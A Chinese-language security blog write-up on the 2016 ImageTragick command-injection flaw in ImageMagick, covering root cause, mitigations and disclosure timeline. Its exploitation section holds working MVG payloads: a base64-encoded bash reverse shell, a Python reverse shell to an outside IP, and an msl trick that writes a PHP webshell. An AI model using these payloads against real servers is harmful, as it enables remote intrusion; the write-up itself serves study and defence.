0x00 背景

ImageMagick是一个 Web 服务常用来处理图像的包，在处理用户提交的图像时存在多个漏洞，有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，其中最严重的就是CVE-2016-3714，此漏洞可能会导致远程代码执行 (RCE)。

该漏洞是由 Mail.Ru 安全团队的安全研究员 Nikolay Ermishkin 发现的。ImageMagick 开发团队收到通知并推出了快速修复，但发现它不完整。

安全研究员 Ryan Huber介入，提供有关漏洞范围的更多详细信息并提供缓解措施，直到 ImageMagick 团队提出最终补丁（计划在周末）。

此外，ImageMagick是一个使用非常广的组件，大量厂商都在处理图片的时候调用这个程序进行处理，而且很多开源应用也在核心代码中包含了ImageMagick选项。

影响版本

All versions below 6.9.3-9 are affected.

6.9.3-9以下的所有版本都受影响

0x01 漏洞利用

（1）PoC

push graphic-context
viewbox 0 0 200 200
fill 'url(https://example.org/BZVaKhSnwpE/";sleep "6)'
pop graphic-context

当然，在回显的场景下，怎么玩都行。

（2）EXP

注意：

  • 由于服务器会去请求https的地址，为避免延时，所以最好是填能够马上访问到的URL，如[https://127.0.0.0/oops.jpg](https://127.0.0.0/oops.jpg)
  • 另外，反弹shell之后，服务器会被卡住（阻塞），因此建议在反弹shell的代码一前一后加上nohup、&，如下面的格式。
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo bm9odXAgL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xLzEzMzcgMD4mMSAm
 | base64 -d | bash`"||id " )'
pop graphic-context

实测10s后返回响应。

还可以利用Python来反弹shell，如

fill 'url(https://example.com/image.jpg"|/bin/echo -e \'import 
socket\x2csubprocess\x2cos;s=socket.socket(socket.af_inet\x2csocket.sock_stream);
s.connect(("xx.xx.24.85"\x2c443));p=subprocess.call(\x5b"/bin/sh"\x2c"-i"\x5d);\'
> /dev/shm/a.py|python "/dev/shm/a.py)'

其它几个漏洞，也简单整理一下，原网站在https://imagetragick.com/

CVE-2016-3717 - 本地文件读取，可以使用 ImageMagick 的“label:@”伪协议从服务器获取文件的内容。
CVE-2016-3715 - 文件删除，可以使用 ImageMagick 的“临时”伪协议删除文件，该协议在阅读后删除文件。
CVE-2016-3718 - SSRF，可以发出 HTTP GET 或 FTP 请求。
CVE-2016-3716 - 文件移动，通过使用 ImageMagick 的 'msl' 伪协议，可以将图像文件移动到任何文件	夹中具有任何扩展名的文件。

（3）写webshell

显而易见，结合CVE-2016-3716可以实现写入webshell，例如p神说的这种方式：

特别说明的是，msl协议是读取一个msl格式的xml文件，并根据其内容执行一些操作：

file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

（4）PHP拓展

PHP扩展『ImageMagick』也存在这个问题，而且只需要调用了Imagick类的构造方法，即可触发这个漏洞：

<?php
new Imagick('vul.gif');

这种情况没有返回值，所以利用OOB技术来获取回显。

0x02 漏洞分析

According to this aritcle…

其默认的配置文件在源码的 config/delegates.xml.in 中,一般使用者很少会去修改它。 具体内容如下:

https://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c#L98

"  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

command 定义了它具体带入 system()执行的命令

"wget" -q -O "%o" "https:%M"

但由于只是简单的拼接，因此可以闭合引号进行命令注入，例如传入的URL是https://example.com"|ls "-la

则

"wget" -q -O "%o" "https://example.com"|ls "-la"
	分别执行
	"wget" -q -O "%o" "https://example.com"
	与
	ls "-la"

0x03 漏洞修复

关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本，包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以，我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。

  1. 处理图片前，先检查图片的 magic bytes，也就是图片头，如果图片头不是你想要的格式，那么就不调用ImageMagick处理图片。
    1. 如果你是php用户，可以使用getimagesize函数来检查图片格式
    2. 如果你是wordpress等web应用的使用者，可以暂时卸载ImageMagick，使用php自带的gd库来处理图片。
  2. 不能升级的情况下，建议作如下配置，See：https://legacy.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588，即添加

<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern ="MVG" />
<policy domain ="coder" rights ="none" pattern ="MSL" />
<policy domain ="coder" rights ="none" pattern ="TEXT" />
<policy domain ="coder" rights="none" pattern="SHOW" />
<policy domain="coder" rights="none" pattern="WIN" />
<policy domain="coder" rights="none" pattern="PLT" />

到您的policy.xml文件。

  1. 而是考虑直接使用诸如libpng, libjpeg-turbo或giflib之类的库。
  2. 如果您必须在不受信任的输入上使用 ImageMagick，请考虑使用沙箱seccomp-bpf或等效机制（例如 Docker 容器）对代码进行沙箱处理，这会严格限制对所有用户空间工件和内核攻击面的访问。基本的沙盒技术，例如chroot()或 UID 分离，可能是不够的。

0x04 总结&&反思

（1）我该在何时测试此漏洞？

所有的图片上传点！

BurpSuite的upload-scanner已经整合了此漏洞的检测，但要小心IDS。

（2）这个漏洞是怎么被发现的?

时间线（参考https://www.openwall.com/lists/oss-security/2016/05/03/18）

[2016-04-21] 任意文件读取漏洞
[2016-04-28] Mail.Ru 安全团队的 Nikolay Ermishkin 发现了
ImageMagick 中的几个漏洞。
[2016-04-30] ImageMagick 的开发人员在源代码中修复了 RCE 并发布了新版本（6.9.3-9 发布 http://legacy.imagemagick.org/script/changelog.php )，但此
修复程序似乎不完整。 
[2016-05-03] imagetragick.com网站创立，漏洞公开

[

](https://hackerone.com/reports/143966)

（3）Image Magick还可能有漏洞吗？

Yes！

结论来自于下面的网页

Technical Analysis of ImageTragick (CVE-2016-3714)

See：https://www.bencode.net/posts/2019-09-27-imagetragick/#root-cause-analysis

对于 ImageMagick 的所有优点，它的设计并未考虑到恶意输入，并且有着悠久而丰富多彩的历史，鲜为人知但同样严重的安全漏洞。如果你只有一个数据点，看看@cunningham 大约在 2014 年所做的工作。@cunningham 用 模糊了 ImageMagick afl-fuzz，很快就发现了近几十个可利用的安全漏洞。

@hanno 最近的模糊测试工作发现了另一个与堆相关的错误系列，仅使用现成的模糊测试工具。

看来，除非对整个 ImageMagick 代码库进行重大重新设计，否则安全漏洞的涓涓细流不会很快停止。它在设计时就没有考虑到安全性。

此外，bastien早在2014 年 12 月 24 日就FUZZ出了一大堆bug，参考：https://www.openwall.com/lists/oss-security/2014/12/24/1，这么看来，Web手学学FUZZ技术，也是很有必要滴！

Refs